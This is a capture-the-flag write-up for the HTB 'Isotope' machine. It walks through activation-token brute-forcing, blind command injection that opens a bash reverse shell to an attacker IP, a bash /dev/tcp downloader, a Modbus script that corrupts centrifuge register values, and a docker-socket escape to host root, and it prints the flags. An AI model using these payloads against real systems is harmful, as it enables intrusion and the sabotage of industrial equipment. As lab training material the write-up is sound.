Isotope
Challenge
- CTF: HTB Business CTF 2023: The Great Escape
- Name: Isotope
- Category: Fullpwn
- Difficulty: Medium
- Points: 2000
- Description: N/A
Synopsis
This challenge starts with reverse engineering a Rust API web program, abuse an account activation token for registration, and obtaining a reverse shell through an authenticated API endpoint via blind command injection. After which, there are Modbus registers to the centrifuges that can be written to cause a critical system failure, which when done, provides access via SSH on port 2222 to a docker container. This docker container has a mounted docker socket inside which can be leveraged to access the host.
Recon
Connect to the HTB VPN via sudo openvpn <vpntoken>.ovpn
Running an nmap scan on the target, identify a website running, SSH service, and NFS:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
Nmap scan report for isotope.htb (10.129.229.86)
Host is up (0.019s latency).
Not shown: 65526 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.24.0
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.24.0
|_http-title: Did not follow redirect to http://isotope.htb/
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 39634/udp6 mountd
| 100005 1,2,3 40079/tcp6 mountd
| 100005 1,2,3 41227/tcp mountd
| 100005 1,2,3 44207/udp mountd
| 100021 1,3,4 40719/tcp nlockmgr
| 100021 1,3,4 46873/tcp6 nlockmgr
| 100021 1,3,4 47651/udp nlockmgr
| 100021 1,3,4 58503/udp6 nlockmgr
| 100024 1 36533/tcp6 status
| 100024 1 54243/tcp status
| 100024 1 55816/udp6 status
| 100024 1 60476/udp status
| 100227 3 2049/tcp nfs_acl
|_ 100227 3 2049/tcp6 nfs_acl
2049/tcp open nfs_acl 3 (RPC #100227)
40719/tcp open nlockmgr 1-4 (RPC #100021)
41227/tcp open mountd 1-3 (RPC #100005)
45571/tcp open mountd 1-3 (RPC #100005)
45779/tcp open mountd 1-3 (RPC #100005)
54243/tcp open status 1 (RPC #100024)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Add isotope.htb
to your /etc/hosts
file for local DNS resolution.
Browsing the website of http://isotope.htb/we identify a welcome page as shown below:
Port 2049 was identified as being open and typically this is for Network File Shares (NFS). Since its version 3, we can show the mount points, mount the share, copy all the files from the share, and unmount the share.
1
2
3
4
5
6
7
8
9
10
$ showmount -e isotope.htb
Export list for isotope.htb:
/opt/share *
$ sudo mount -t nfs isotope.htb:/opt/share /mnt/
$ find /mnt/ -ls
.rw-r--r-- root root 27 KB Mon Jul 10 04:11:13 2023 backend.tar.bz2
.rw-r--r-- root root 4.6 MB Thu Jul 6 11:23:57 2023 Commonwealth of Arodor Maximus Final.pdf
$ cp /mnt/* .
$ sudo umount /mnt/
Analyzing the share file contents, the PDF “Commonwealth of Arodor Maximus Final.pdf” explains the architectural design of Programmable Logic Controller (PLC) with Centrifuges all communicating over Modbus TCP/5020 as shown below.
The next page goes over the modbus register addresses and what they are primarily used for as shown below.
Continuing on analyzing the share file contents, there is a file backend.tar.bz2
that can be unextracted and browsed using VSCode.
1
2
$ tar xjf backend.tar.bz2
$ code backend/
It appears to be a Rust API web program with the following routes:
- POST
/api/register
- POST
/api/login
- POST
/api/activate
- GET
/api/logout
- GET/POST
/api/data
- GET
/api/status
- GET
/api/check_login_status
- GET/POST
/api/reset
We still need to identify the website, so we turn to virtual host fuzzing using ffuf and it identifies the monitor.isotope.htb
website!
1
2
3
4
$ ffuf -r -ac -mc all -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H 'Host: FUZZ.isotope.htb' -u http://isotope.htb
[Status: 200, Size: 660, Words: 35, Lines: 1, Duration: 24ms]
* FUZZ: monitor
Browsing the website of http://monitor.isotope.htb/we get redirected to a login page of http://monitor.isotope.htb/loginas shown below:
We can attempt to register a user at [http://monitor.isotope.htb/register](http://monitor.isotope.htb/register, I used test:test
for credentials:
However, logging in with these credentials we are prompted with a message saying our account needs to be activated by an administrator:
Bypass Account Activation
Browsing the application backend software from before, we can pinpoint the authentication revolving the activation code located in src/services/mod.rs
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#[post("/register", format = "json", data = "<post>")]
pub fn register(post: Json<DisplayUser>) -> Result<Created<Json<Value>>, rocket::response::status::Custom<Json<ApiResponse>>> {
let connection: &mut MysqlConnection = &mut establish_connection_pg();
let hashed_password: String = match hash(&post.password, DEFAULT_COST) {
Ok(hash) => hash,
Err(_) => {
let error_response: ApiResponse = ApiResponse::new("error", "Illegal Password.");
return Err(error_response.to_json_with_status(Status::InternalServerError));
},
};
let token: String = generate_token(&post.username);
let new_post: User = User {
id: None,
username: post.username.to_string(),
password: hashed_password,
activated: 0,
token,
};
if diesel::insert_into(self::schema::users::dsl::users)
.values(&new_post)
.execute(connection)
.is_err() {
let error_response: ApiResponse = ApiResponse::new("error", "Please choose a unique username.");
return Err(error_response.to_json_with_status(Status::InternalServerError));
}
let response_body: Value = json!({
"status": "success",
"message": "User created"
});
Ok(Created::new("/").body(Json(response_body)))
}
Upon registration, the account activation token is generated and inserted into the database. The generate_token
function is also located in src/services/mod.rs
. It is a simple SHA256 sum of the username and current timestamp. We can bruteforce this if the server is not synced up with us, typically a safe range is +/- 10 seconds.
1
2
3
4
5
6
7
8
9
10
pub fn generate_token(username: &str) -> String {
use sha2::{Sha256, Digest};
let current_time: i64 = chrono::Utc::now().timestamp();
let data: String = format!("{}{}", username, current_time);
let mut hasher = Sha256::new();
hasher.update(data);
let result = hasher.finalize();
result.iter().map(|b| format!("{:02x}", b)).collect::<String>()
}
The following python code was used for automating this registration:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#!/usr/bin/env python3
# Imports
import hashlib
import requests
import time
import uuid
# Constants
URL = "http://monitor.isotope.htb"
# Generate session
s = requests.Session()
s.proxies.update({"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080"})
s.headers.update(
{"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"})
s.verify = False # Self-signed certificate remove-validation
# Check connectivity
resp = s.get(URL, verify=False)
assert resp.status_code == 200, f"Connection failed with status code: {resp.status_code}"
def generate_activation_token(username, time):
"""This generates an activation code prior to activation.
"""
data = f"{username}{time}"
hashed_data = hashlib.sha256(data.encode()).digest()
result = ''.join(format(byte, '02x') for byte in hashed_data)
return result
def login_account(username, password):
"""/api/login
Used to register a new account.
"""
data = {"username": username, "password": password}
resp = s.post(url=URL+"/api/login", json=data)
return resp
def register_account(username, password):
"""/api/register
Used to register a new account.
"""
data = {"username": username, "password": password}
resp = s.post(url=URL+"/api/register", json=data)
return resp
def activate_account(token):
"""/api/activate
Used to activate a new account.
"""
resp = s.post(url=URL+"/api/activate", json=token)
return resp
# Register a new account
username = str(uuid.uuid4())[:8]
password = username
before_time = int(time.time())
register_account(username, password)
assert resp.status_code == 200, f"Register failed with status code: {resp.status_code}"
after_time = int(time.time())
# Bruteforce activation code
for t in range(before_time-5, after_time+5):
token = generate_activation_token(username, t)
resp = activate_account(token)
if resp.status_code == 200:
break
assert resp.status_code == 200, f"Activation failed with status code: {resp.status_code}"
# Login
login_account(username, password)
assert resp.status_code == 200, f"Login failed with status code: {resp.status_code}"
print(f"[+] Login successful {username}:{password}")
After logging in, we are then presented with a nice Centrifuge administration window called “Isotope Foundry Dashboard”:
With our authenticated session, we can restart centrifuges which maps to a POST request to /api/reset
. Since we know from documentation review they are leveraging modbus to control these centrifuges, we could imagine that they are doing this with a system call and might not have strict input-parsing. This leads us to look into blind command injection with the goal of obtaining Remote Code Execution (RCE).
Typically you could identify this in stages, with a simple ping-back and then to a reverse shell payload. It is safer to use a bash-only reverse shell as the only dependency is to have bash, versus something like curl/wget for a custom payload.
The following was added to the existing code to send a reset code and obtain a reverse shell on the target.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#!/usr/bin/env python3
# Imports
import hashlib
import random
import requests
import time
import uuid
# Constants
URL = "http://monitor.isotope.htb"
# Generate session
s = requests.Session()
s.proxies.update({"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080"})
s.headers.update(
{"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"})
s.verify = False # Self-signed certificate remove-validation
# Check connectivity
resp = s.get(URL, verify=False)
assert resp.status_code == 200, f"Connection failed with status code: {resp.status_code}"
def generate_activation_token(username, time):
"""This generates an activation code prior to activation.
"""
data = f"{username}{time}"
hashed_data = hashlib.sha256(data.encode()).digest()
result = ''.join(format(byte, '02x') for byte in hashed_data)
return result
def login_account(username, password):
"""/api/login
Used to register a new account.
"""
data = {"username": username, "password": password}
resp = s.post(url=URL+"/api/login", json=data)
return resp
def register_account(username, password):
"""/api/register
Used to register a new account.
"""
data = {"username": username, "password": password}
resp = s.post(url=URL+"/api/register", json=data)
return resp
def activate_account(token):
"""/api/activate
Used to activate a new account.
"""
resp = s.post(url=URL+"/api/activate", json=token)
return resp
def send_reset_code(plc_num, cmd=None):
"""/api/reset
Used to reset a PLC
"""
if cmd:
data = {"id": f"{plc_num};{cmd} #"}
else:
data = {"id": f"{plc_num}"}
print(f"[*] Sending reset code to PLC #{plc_num} ...")
resp = s.post(url=URL+"/api/reset", json=data)
return resp
# Register a new account
username = str(uuid.uuid4())[:8]
password = username
before_time = int(time.time())
register_account(username, password)
assert resp.status_code == 200, f"Register failed with status code: {resp.status_code}"
after_time = int(time.time())
# Bruteforce activation code
for t in range(before_time-5, after_time+5):
token = generate_activation_token(username, t)
resp = activate_account(token)
if resp.status_code == 200:
break
assert resp.status_code == 200, f"Activation failed with status code: {resp.status_code}"
# Login
login_account(username, password)
assert resp.status_code == 200, f"Login failed with status code: {resp.status_code}"
print(f"[+] Login successful {username}:{password}")
# Reverse shell
send_reset_code(1,"`bash -c 'bash -i >& /dev/tcp/10.10.14.79/4444 0>&1'`")
1
2
3
$ python3 isotope_api.py
[+] Login successful 1eb2820f:1eb2820f
[*] Sending reset code to PLC #1 ...
1
2
3
4
5
6
7
8
9
10
$ nc -nlvp 4444
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.129.229.86:46036.
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
bash: /root/.bashrc: Permission denied
controller@e16fd8be6aff:/app$ id
uid=1000(controller) gid=1000(controller) groups=1000(controller)
Centrifuge Critical Failure
We are now in a limited docker container as the controller user. We
1
2
3
4
5
6
7
controller@e16fd8be6aff:/app$ ls -la
total 4624
drwxr-xr-x 1 root root 4096 Jul 10 12:31 .
drwxr-xr-x 1 root root 4096 Jul 18 02:31 ..
-rw-rw-r-- 1 root root 401 Jul 10 12:31 Dockerfile
-rwxrwxr-x 1 root root 7709 Jul 4 17:08 plc.py
-rwxr-xr-x 1 root root 4710344 Jul 4 13:08 restart
Analyzing the plc.py
file, it is the software that is communicating over modbus to the centrifuges! It seems there is logic that when all the centrifuges are down, we obtain an SSH key that can be used to login as root to the “diagnostics container” over Port 2222.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
#
# Programmable Logic Controller for Centrifuge System
#
# This advanced software serves as the brain of the centrifuge system. By continuously polling data from the modbus registers associated with each centrifuge, it monitors the state of the centrifuges in real-time. This information includes parameters such as speed, temperature, pressure, and status.
#
# Based on the inputs it processes, the PLC makes informed decisions to control the system's outputs. These actions could range from modulating centrifuge parameters to maintain optimal conditions, to shutting down a centrifuge in response to abnormal readings.
#
# As the last line of defence, the PLC is equipped with a failsafe mechanism. If an extreme situation is detected where all centrifuges are down, the PLC will activate this failsafe, mitigating potential damage and ensuring system safety.
#
# Furthermore, the PLC is designed to forward the processed centrifuge data to an API. This feature enables the system's status to be remotely monitored, further enhancing control and flexibility.
#
# In the event of necessary maintenance or required system resets, the PLC can also restart the centrifuges remotely. This ensures the system maintains the highest possible uptime and allows for quick recovery from unexpected events.
#
# Property of the Isotope Foundry© - Unauthorized access strictly prohibited and punishable.
#
import time
import requests
import json
import subprocess
import os
import docker
from pymodbus.client.sync_diag import ModbusTcpClient
CENTRIFUGE_COUNT = 5
ADDRESSES = {
"speed": 50001,
"temperature": 50002,
"pressure": 50003,
"status": 50004
}
OFFSET = len(ADDRESSES)
SLAVE_ID_START = 3
MODBUS_SERVER_IP = 'localhost'
MODBUS_SERVER_PORT = 5020
# Route over NGINX on frontend
REST_ENDPOINT = "http://backend:8000/api"
NORMAL_RANGES = {
"speed": (20000, 39900),
"temperature": (120, 250),
"pressure": (5, 18),
}
class PLC:
def __init__(self):
self.failsafe_mode = False
self.session = requests.Session()
self.get_auth_cookie()
self.client = ModbusTcpClient(MODBUS_SERVER_IP, port=MODBUS_SERVER_PORT)
def read_inputs(self):
data = []
for i in range(CENTRIFUGE_COUNT):
try:
if not self.client.connected:
self.revive_client()
speed = self.client.read_holding_registers(ADDRESSES["speed"]+(OFFSET*i), 1, slave=SLAVE_ID_START+i).registers[0]
temperature = self.client.read_holding_registers(ADDRESSES["temperature"]+(OFFSET*i), 1, slave=SLAVE_ID_START+i).registers[0]
pressure = self.client.read_holding_registers(ADDRESSES["pressure"]+(OFFSET*i), 1, slave=SLAVE_ID_START+i).registers[0]
status = self.client.read_holding_registers(ADDRESSES["status"]+(OFFSET*i), 1, slave=SLAVE_ID_START+i).registers[0]
data.append({
'id': i+1,
'speed': speed,
'temperature': temperature,
'pressure': pressure,
'status': status,
})
except Exception as e:
print(f"Error reading registers for slave_id {SLAVE_ID_START}: {e}")
return data
def shutdown_centrifuge(self, centrifuge_id):
"""
Shutdown centrifuge by setting its status register to 0.
"""
try:
if not self.client.connected:
self.revive_client()
# Write 0 to the status register of the specified centrifuge
self.client.write_register(ADDRESSES["status"] + (OFFSET * (centrifuge_id - 1)), 0, slave=SLAVE_ID_START + centrifuge_id - 1)
except Exception as e:
print(f"Error shutting down centrifuge {centrifuge_id}: {e}")
def healthcheck(self, data):
"""
Check centrifuges' health.
If abnormal -> Shut <id> down to minimise damage.
If all down -> Activate failsafe to run diagnostics.
"""
all_down = True
for centrifuge in data:
if centrifuge['status'] == 0:
continue
abnormal = any(centrifuge[param] < NORMAL_RANGES[param][0] or centrifuge[param] > NORMAL_RANGES[param][1] for param in ("speed", "temperature", "pressure"))
if abnormal:
self.shutdown_centrifuge(centrifuge['id'])
else:
all_down = False
if all_down and not self.failsafe_mode:
self.activate_failsafe()
def activate_failsafe(self):
"""
Spawn diagnostics container.
SSH key available on the dashboard once catastrophic failure kicks in.
Use lazydocker in case something's wrong with the containers.
"""
self.failsafe_mode = True
client = docker.from_env()
container = client.containers.run("diagnostics", detach=True, ports={'22/tcp': 2222},
volumes={'/var/run/docker.sock':{'bind': '/var/run/docker.sock', 'mode':'rw'}},
cap_add=["CHOWN", "DAC_OVERRIDE", "FOWNER", "FSETID", "KILL", "SETGID", "SETUID", "NET_BIND_SERVICE", "SYS_CHROOT", "AUDIT_WRITE"],
cap_drop=["ALL"])
def forward_to_api(self, data):
headers = {'Content-Type': 'application/json'}
try:
r = self.session.post(f"{REST_ENDPOINT}/data", data=json.dumps(data), headers=headers)
if r.status_code != 200:
print(f"Error sending data to API, status code: {r.status_code}")
except requests.exceptions.RequestException as e:
print(f"Error sending data to API: {e}")
def check_reset(self):
try:
r = self.session.get(f"{REST_ENDPOINT}/reset")
if r.status_code == 200:
reset_id = r.json().get("id", None)
if reset_id is not None:
self.restart_plc(reset_id)
else:
print(f"Error checking reset, status code: {r.status_code}")
except requests.exceptions.RequestException as e:
print(f"Error checking reset: {e}")
def restart_plc(self, reset_id):
try:
binary_path = "/app/restart"
command = f"{binary_path} {reset_id}"
subprocess.Popen(command, preexec_fn=demote, shell=True)
except Exception as e:
print(f"Error restarting PLC: {e}")
def revive_client(self):
try:
# Use existing slave_id and address to test the connection
test_read = self.client.read_holding_registers(1, 1, slave=1)
except:
pass
def get_auth_cookie(self):
credentials = {"username": os.getenv('ADMIN_USERNAME'), "password": os.getenv('ADMIN_PASSWORD')}
headers = {'Content-Type': 'application/json'}
while True:
try:
r = self.session.post(f"{REST_ENDPOINT}/login", data=json.dumps(credentials), headers=headers)
if r.status_code == 200:
return
except Exception as e:
print("Failed to authenticate.", e)
time.sleep(5)
def demote():
"""
Static function to drop privileges when running system command.
"""
os.setgroups([1000])
os.setgid(1000)
os.setuid(1000)
if __name__ == "__main__":
print("Initializing...")
time.sleep(20)
plc = PLC()
while True:
data = plc.read_inputs()
plc.forward_to_api(data)
plc.check_reset()
plc.healthcheck(data)
time.sleep(5)
I created a plcbad.py
script as shown below that when run sends abnormal values to the holding registers over modbus. When the application plc.py
reads those same registers, they will think the centrifuges are abnormal and reset them all leading to the SSH key! `
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/env python3
# Imports
from pymodbus.client.sync_diag import ModbusTcpClient
from time import sleep
CENTRIFUGE_COUNT = 5
ADDRESSES = {
"speed": 50001,
"temperature": 50002,
"pressure": 50003,
"status": 50004
}
OFFSET = len(ADDRESSES)
SLAVE_ID_START = 3
MODBUS_SERVER_IP = 'localhost'
MODBUS_SERVER_PORT = 5020
NORMAL_RANGES = {
"speed": (20000, 39900),
"temperature": (120, 250),
"pressure": (5, 18),
}
client = ModbusTcpClient(MODBUS_SERVER_IP, port=MODBUS_SERVER_PORT)
while True:
for i in range(CENTRIFUGE_COUNT):
print("Setting bad values ...")
speed = client.write_register(ADDRESSES["speed"]+(OFFSET*i), value=NORMAL_RANGES["speed"][0]-1 ,slave=SLAVE_ID_START+i)
temperature = client.read_holding_registers(ADDRESSES["temperature"]+(OFFSET*i), value=NORMAL_RANGES["temperature"][0]-1, slave=SLAVE_ID_START+i)
pressure = client.read_holding_registers(ADDRESSES["pressure"]+(OFFSET*i), value=NORMAL_RANGES["pressure"][0]-1, slave=SLAVE_ID_START+i)
print("Waiting to do it again ...")
sleep(10)
Since the docker instance doesn’t have much utilities we use a custom bash living off the land solution to fetch files from our host and run the python script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function _get() {
read proto server path <<<$(echo ${1//// })
DOC=/${path// //}
HOST=${server//:*}
PORT=${server//*:}
[ x"${HOST}" == x"${PORT}" ](%20x%22$%7BHOST%7D%22%20==%20x%22$%7BPORT%7D%22%20) && PORT=80
exec 3<>/dev/tcp/${HOST}/$PORT
echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
(while read line; do
[ "$line" == && break
done && cat) <&3
exec 3>&-
}
$ _get http://10.10.14.79/plcbad.py > /tmp/plcbad.py
$ python3 /tmp/plcbad.py
Setting bad values ...
Waiting to do it again ...
This causes a catastrophic failure and provides us the SSH key!
The SSH key can also be found on the client side in http://monitor.isotope.htb/static/js/main.396aa658.js
. Copying the SSH key from the Catastrophic Failure Detected window and utilizing it is successful:
1
2
3
4
5
6
7
8
9
10
11
12
13
$ ssh -p2222 -i root_key root@isotope.htb
a29634d74c60:~# ls -la
total 36
drwx------ 1 root root 4096 Jul 18 06:19 .
drwxr-xr-x 1 root root 4096 Jul 18 06:12 ..
-rw------- 1 root root 344 Jul 18 06:22 .ash_history
-rw-r--r-- 1 root root 35 Jul 11 08:29 .bashrc
drwxr-xr-x 3 root root 4096 Jul 11 08:27 .cache
drwx------ 1 root root 4096 Jul 11 08:27 .ssh
drwxr-xr-x 4 root root 4096 Jul 11 08:29 go
-rw-r----- 1 root root 45 Jul 5 20:10 user.txt
a29634d74c60:~# cat user.txt
HTB{d0_Not_sp1n_g3ntl3_1nt0_th4t_g00d_n1ght}
User Flag: HTB{d0_Not_sp1n_g3ntl3_1nt0_th4t_g00d_n1ght}
Mounted Docker Socket Breakout
When enumerating the container, we find a mounted docker socket that can be leveraged to communicate with the docker. This follows close to https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation#mounted-docker-socket-escape for reference. However, the target doesn’t have the docker binary available to communicate. We have two options:
- Add a static docker binary or one that is dynamically-linked that is specific to the targets operating system.
- Forward the socket to our own machine to communicate with it!
Option 1 - Static Docker
Download and host the docker binary from https://download.docker.com/linux/static/stable/x86_64/ on a python webserver:
1
2
3
wget http://10.10.14.79/docker -O /tmp/docker ; chmod 777 /tmp/docker
/tmp/docker -H unix:///run/docker.sock images
/tmp/docker -H unix:///run/docker.sock run -it -v /:/host/ diagnostics chroot /host/ bash
Option 2 - Unix Socket Forwarding
Forward docker socket to my machine:
1
$ ssh -p2222 -i root_key -nNT -L /tmp/docker.sock:/run/docker.sock root@isotope.htb
View docker images:
1
2
3
4
5
6
7
8
$ docker -H unix:///tmp/docker.sock images
REPOSITORY TAG IMAGE ID CREATED SIZE
diagnostics latest d097ffb2f726 6 days ago 607MB
docker-frontend latest 2dfcb1b3325e 6 days ago 71.1MB
docker-plc latest e824d211ba42 7 days ago 152MB
docker-backend latest 5db062478c4c 8 days ago 208MB
docker-conpot latest c4b0c52998e2 13 days ago 661MB
mysql latest 041315a16183 13 days ago 565MB
Run the image mounting the host disk and chroot on it:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ docker -H unix:///tmp/docker.sock run -it -v /:/host/ diagnostics chroot /host/ bash
root@658ee9b6a42a:/# cd /root
root@658ee9b6a42a:~# ls -la
total 52
drwx------ 10 root root 4096 Jul 11 08:37 .
drwxr-xr-x 19 root root 4096 Jul 5 18:43 ..
lrwxrwxrwx 1 root root 9 Apr 27 16:10 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3127 Jun 28 14:08 .bashrc
drwx------ 2 root root 4096 Jul 4 22:27 .cache
drwxr-xr-x 3 root root 4096 Jul 10 07:01 .cargo
drwx------ 3 root root 4096 May 12 12:36 .config
drwx------ 3 root root 4096 Jun 28 15:32 .docker
drwxr-xr-x 3 root root 4096 Apr 27 16:35 .local
-rw-r--r-- 1 root root 182 Jun 28 14:08 .profile
drwxr-xr-x 6 root root 4096 Jun 28 14:08 .rustup
drwxr-xr-x 5 root root 4096 Jul 5 11:16 Docker
-rw-r----- 1 root root 37 Jul 5 18:33 root.txt
drwx------ 3 root root 4096 Apr 27 16:07 snap
root@658ee9b6a42a:~# cat root.txt
HTB{M0dbus_M4kes_Th3_W0rld_Go_R0und}
Root Flag: HTB{M0dbus_M4kes_Th3_W0rld_Go_R0und}